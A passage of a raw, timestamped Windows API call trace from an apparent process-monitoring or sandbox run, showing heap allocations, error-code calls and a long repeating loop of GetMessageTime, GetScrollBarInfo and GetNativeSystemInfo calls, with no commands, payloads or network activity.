(dwErrCode=0x0) [0045.901] GetLastError () returned 0x0 [0045.901] SetLastError (dwErrCode=0x0) [0045.901] GetLastError () returned 0x0 [0045.901] SetLastError (dwErrCode=0x0) [0045.901] GetLastError () returned 0x0 [0045.901] SetLastError (dwErrCode=0x0) [0045.901] GetLastError () returned 0x0 [0045.901] SetLastError (dwErrCode=0x0) [0045.902] GetLastError () returned 0x0 [0045.902] SetLastError (dwErrCode=0x0) [0045.902] GetLastError () returned 0x0 [0045.902] SetLastError (dwErrCode=0x0) [0045.902] GetLastError () returned 0x0 [0045.902] SetLastError (dwErrCode=0x0) [0045.902] GetLastError () returned 0x0 [0045.902] SetLastError (dwErrCode=0x0) [0045.902] GetLastError () returned 0x0 [0045.902] SetLastError (dwErrCode=0x0) [0045.902] GetLastError () returned 0x0 [0045.902] SetLastError (dwErrCode=0x0) [0045.902] GetLastError () returned 0x0 [0045.902] SetLastError (dwErrCode=0x0) [0045.902] GetLastError () returned 0x0 [0045.902] SetLastError (dwErrCode=0x0) [0045.902] GetLastError () returned 0x0 [0045.902] SetLastError (dwErrCode=0x0) [0045.902] GetLastError () returned 0x0 [0045.902] SetLastError (dwErrCode=0x0) [0045.902] GetLastError () returned 0x0 [0045.902] SetLastError (dwErrCode=0x0) [0045.902] GetLastError () returned 0x0 [0045.902] SetLastError (dwErrCode=0x0) [0045.902] GetLastError () returned 0x0 [0045.902] SetLastError (dwErrCode=0x0) [0045.902] GetLastError () returned 0x0 [0045.902] SetLastError (dwErrCode=0x0) [0045.902] GetLastError () returned 0x0 [0045.902] SetLastError (dwErrCode=0x0) [0045.902] GetLastError () returned 0x0 [0045.902] SetLastError (dwErrCode=0x0) [0045.902] GetLastError () returned 0x0 [0045.903] SetLastError (dwErrCode=0x0) [0045.903] GetLastError () returned 0x0 [0045.903] SetLastError (dwErrCode=0x0) [0045.903] GetLastError () returned 0x0 [0045.903] SetLastError (dwErrCode=0x0) [0045.903] GetLastError () returned 0x0 [0045.903] SetLastError (dwErrCode=0x0) [0045.903] GetLastError () returned 0x0 [0045.903] SetLastError (dwErrCode=0x0) [0045.903] GetLastError () returned 0x0 [0045.903] SetLastError (dwErrCode=0x0) [0045.903] GetLastError () returned 0x0 [0045.903] SetLastError (dwErrCode=0x0) [0045.903] GetLastError () returned 0x0 [0045.903] SetLastError (dwErrCode=0x0) [0045.903] GetLastError () returned 0x0 [0045.903] SetLastError (dwErrCode=0x0) [0045.903] GetLastError () returned 0x0 [0045.903] SetLastError (dwErrCode=0x0) [0045.903] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x98) returned 0x613bb8 [0045.903] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x1f) returned 0x611660 [0045.903] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x36) returned 0x610830 [0045.903] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x37) returned 0x613c58 [0045.903] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x3c) returned 0x613c98 [0045.903] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x31) returned 0x613ce0 [0045.903] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x17) returned 0x610870 [0045.903] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x24) returned 0x613d20 [0045.903] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x14) returned 0x613d50 [0045.903] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0xd) returned 0x610a50 [0045.903] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x25) returned 0x613d70 [0045.903] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x39) returned 0x613da0 [0045.903] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x18) returned 0x613de8 [0045.903] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x17) returned 0x613e08 [0045.903] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0xe) returned 0x610a68 [0045.903] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x69) returned 0x613e28 [0045.903] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x3e) returned 0x613ea0 [0045.903] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x1b) returned 0x611688 [0045.904] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x1d) returned 0x6116b0 [0045.904] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x48) returned 0x613ee8 [0045.904] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x12) returned 0x613f38 [0045.904] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x18) returned 0x613f58 [0045.904] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x1b) returned 0x6116d8 [0045.904] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x24) returned 0x613f78 [0045.904] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x29) returned 0x613fa8 [0045.904] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x1e) returned 0x611700 [0045.904] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x41) returned 0x6128d8 [0045.904] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x17) returned 0x612928 [0045.904] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0xf) returned 0x610a80 [0045.904] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x16) returned 0x612948 [0045.904] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x2a) returned 0x612968 [0045.904] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x29) returned 0x6129a0 [0045.904] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x15) returned 0x6129d8 [0045.904] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x1e) returned 0x611728 [0045.904] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x2a) returned 0x6129f8 [0045.904] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x12) returned 0x612a30 [0045.904] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x18) returned 0x612a50 [0045.904] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x46) returned 0x612a70 [0045.904] HeapFree (in: hHeap=0x600000, dwFlags=0x0, lpMem=0x6133b0 | out: hHeap=0x600000) returned 1 [0045.904] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x80) returned 0x612ac0 [0045.905] RtlAllocateHeap (HeapHandle=0x600000, Flags=0x8, Size=0x800) returned 0x612b48 [0045.905] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0045.905] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0045.905] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4121fd) returned 0x0 [0045.905] RtlSizeHeap (HeapHandle=0x600000, Flags=0x0, MemoryPointer=0x612ac0) returned 0x80 [0045.905] RtlSizeHeap (HeapHandle=0x600000, Flags=0x0, MemoryPointer=0x612ac0) returned 0x80 [0045.905] RtlSizeHeap (HeapHandle=0x600000, Flags=0x0, MemoryPointer=0x612ac0) returned 0x80 [0045.906] RtlSizeHeap (HeapHandle=0x600000, Flags=0x0, MemoryPointer=0x612ac0) returned 0x80 [0045.906] GetLastError () returned 0x0 [0045.906] SetLastError (dwErrCode=0x0) [0045.906] GetLastError () returned 0x0 [0045.906] SetLastError (dwErrCode=0x0) [0045.906] GetLastError () returned 0x0 [0045.906] SetLastError (dwErrCode=0x0) [0045.906] GetLastError () returned 0x0 [0045.906] SetLastError (dwErrCode=0x0) [0045.906] GetLastError () returned 0x0 [0045.906] SetLastError (dwErrCode=0x0) [0045.906] GetLastError () returned 0x0 [0045.906] SetLastError (dwErrCode=0x0) [0045.906] GetLastError () returned 0x0 [0045.906] SetLastError (dwErrCode=0x0) [0045.906] GetLastError () returned 0x0 [0045.906] SetLastError (dwErrCode=0x0) [0045.906] GetLastError () returned 0x0 [0045.906] SetLastError (dwErrCode=0x0) [0045.906] GetLastError () returned 0x0 [0045.906] SetLastError (dwErrCode=0x0) [0045.906] GetLastError () returned 0x0 [0045.906] SetLastError (dwErrCode=0x0) [0045.906] GetLastError () returned 0x0 [0045.906] SetLastError (dwErrCode=0x0) [0045.906] GetLastError () returned 0x0 [0045.906] SetLastError (dwErrCode=0x0) [0045.907] GetLastError () returned 0x0 [0045.907] SetLastError (dwErrCode=0x0) [0045.907] GetLastError () returned 0x0 [0045.907] SetLastError (dwErrCode=0x0) [0045.907] GetLastError () returned 0x0 [0045.907] SetLastError (dwErrCode=0x0) [0045.907] GetLastError () returned 0x0 [0045.907] SetLastError (dwErrCode=0x0) [0045.907] GetLastError () returned 0x0 [0045.907] SetLastError (dwErrCode=0x0) [0045.907] GetLastError () returned 0x0 [0045.907] SetLastError (dwErrCode=0x0) [0045.907] GetLastError () returned 0x0 [0045.907] SetLastError (dwErrCode=0x0) [0045.907] GetLastError () returned 0x0 [0045.907] SetLastError (dwErrCode=0x0) [0045.907] GetLastError () returned 0x0 [0045.907] SetLastError (dwErrCode=0x0) [0045.907] GetLastError () returned 0x0 [0045.907] SetLastError (dwErrCode=0x0) [0045.907] GetLastError () returned 0x0 [0045.907] SetLastError (dwErrCode=0x0) [0045.907] GetLastError () returned 0x0 [0045.907] SetLastError (dwErrCode=0x0) [0045.907] GetLastError () returned 0x0 [0045.907] SetLastError (dwErrCode=0x0) [0045.907] GetLastError () returned 0x0 [0045.907] SetLastError (dwErrCode=0x0) [0045.907] GetLastError () returned 0x0 [0045.907] SetLastError (dwErrCode=0x0) [0045.907] GetLastError () returned 0x0 [0045.907] SetLastError (dwErrCode=0x0) [0045.908] GetLastError () returned 0x0 [0045.908] SetLastError (dwErrCode=0x0) [0045.908] GetLastError () returned 0x0 [0045.908] SetLastError (dwErrCode=0x0) [0045.908] GetLastError () returned 0x0 [0045.908] SetLastError (dwErrCode=0x0) [0045.908] GetLastError () returned 0x0 [0045.908] SetLastError (dwErrCode=0x0) [0045.908] GetLastError () returned 0x0 [0045.908] SetLastError (dwErrCode=0x0) [0045.908] GetLastError () returned 0x0 [0045.908] SetLastError (dwErrCode=0x0) [0045.908] GetLastError () returned 0x0 [0045.908] SetLastError (dwErrCode=0x0) [0045.908] GetLastError () returned 0x0 [0045.908] SetLastError (dwErrCode=0x0) [0045.908] GetLastError () returned 0x0 [0045.908] SetLastError (dwErrCode=0x0) [0045.908] GetLastError () returned 0x0 [0045.908] SetLastError (dwErrCode=0x0) [0045.908] GetLastError () returned 0x0 [0045.908] SetLastError (dwErrCode=0x0) [0045.908] GetLastError () returned 0x0 [0045.908] SetLastError (dwErrCode=0x0) [0045.908] GetLastError () returned 0x0 [0045.908] SetLastError (dwErrCode=0x0) [0045.908] GetLastError () returned 0x0 [0045.908] SetLastError (dwErrCode=0x0) [0045.908] GetLastError () returned 0x0 [0045.908] SetLastError (dwErrCode=0x0) [0045.908] GetLastError () returned 0x0 [0045.908] SetLastError (dwErrCode=0x0) [0045.908] GetLastError () returned 0x0 [0045.909] SetLastError (dwErrCode=0x0) [0045.909] GetLastError () returned 0x0 [0045.909] SetLastError (dwErrCode=0x0) [0045.909] GetLastError () returned 0x0 [0045.909] SetLastError (dwErrCode=0x0) [0045.909] GetLastError () returned 0x0 [0045.909] SetLastError (dwErrCode=0x0) [0045.909] GetLastError () returned 0x0 [0045.909] SetLastError (dwErrCode=0x0) [0045.909] GetMessageTime () returned 0 [0045.909] GetLastError () returned 0x0 [0045.909] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.909] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.909] GetMessageTime () returned 0 [0045.909] GetLastError () returned 0x578 [0045.909] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.910] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.910] GetMessageTime () returned 0 [0045.910] GetLastError () returned 0x578 [0045.910] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.910] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.910] GetMessageTime () returned 0 [0045.910] GetLastError () returned 0x578 [0045.910] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.910] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.910] GetMessageTime () returned 0 [0045.910] GetLastError () returned 0x578 [0045.910] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.910] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.910] GetMessageTime () returned 0 [0045.910] GetLastError () returned 0x578 [0045.910] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.910] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.910] GetMessageTime () returned 0 [0045.910] GetLastError () returned 0x578 [0045.910] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.910] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.910] GetMessageTime () returned 0 [0045.910] GetLastError () returned 0x578 [0045.910] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.911] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.911] GetMessageTime () returned 0 [0045.911] GetLastError () returned 0x578 [0045.911] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.911] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.911] GetMessageTime () returned 0 [0045.911] GetLastError () returned 0x578 [0045.911] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.911] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.911] GetMessageTime () returned 0 [0045.911] GetLastError () returned 0x578 [0045.911] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.911] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.911] GetMessageTime () returned 0 [0045.911] GetLastError () returned 0x578 [0045.911] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.911] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.911] GetMessageTime () returned 0 [0045.911] GetLastError () returned 0x578 [0045.911] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.911] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.911] GetMessageTime () returned 0 [0045.911] GetLastError () returned 0x578 [0045.912] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.912] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.912] GetMessageTime () returned 0 [0045.912] GetLastError () returned 0x578 [0045.912] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.912] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.912] GetMessageTime () returned 0 [0045.912] GetLastError () returned 0x578 [0045.912] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.912] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.912] GetMessageTime () returned 0 [0045.912] GetLastError () returned 0x578 [0045.912] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.912] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.912] GetMessageTime () returned 0 [0045.912] GetLastError () returned 0x578 [0045.912] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.912] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.912] GetMessageTime () returned 0 [0045.912] GetLastError () returned 0x578 [0045.912] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.912] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.912] GetMessageTime () returned 0 [0045.912] GetLastError () returned 0x578 [0045.913] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.913] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.913] GetMessageTime () returned 0 [0045.913] GetLastError () returned 0x578 [0045.913] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.913] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.913] GetMessageTime () returned 0 [0045.913] GetLastError () returned 0x578 [0045.913] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.913] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.913] GetMessageTime () returned 0 [0045.913] GetLastError () returned 0x578 [0045.913] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.913] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.913] GetMessageTime () returned 0 [0045.913] GetLastError () returned 0x578 [0045.913] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.913] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.913] GetMessageTime () returned 0 [0045.913] GetLastError () returned 0x578 [0045.913] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.913] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.913] GetMessageTime () returned 0 [0045.914] GetLastError () returned 0x578 [0045.914] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.914] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.914] GetMessageTime () returned 0 [0045.914] GetLastError () returned 0x578 [0045.914] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.914] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.914] GetMessageTime () returned 0 [0045.914] GetLastError () returned 0x578 [0045.914] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.914] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, 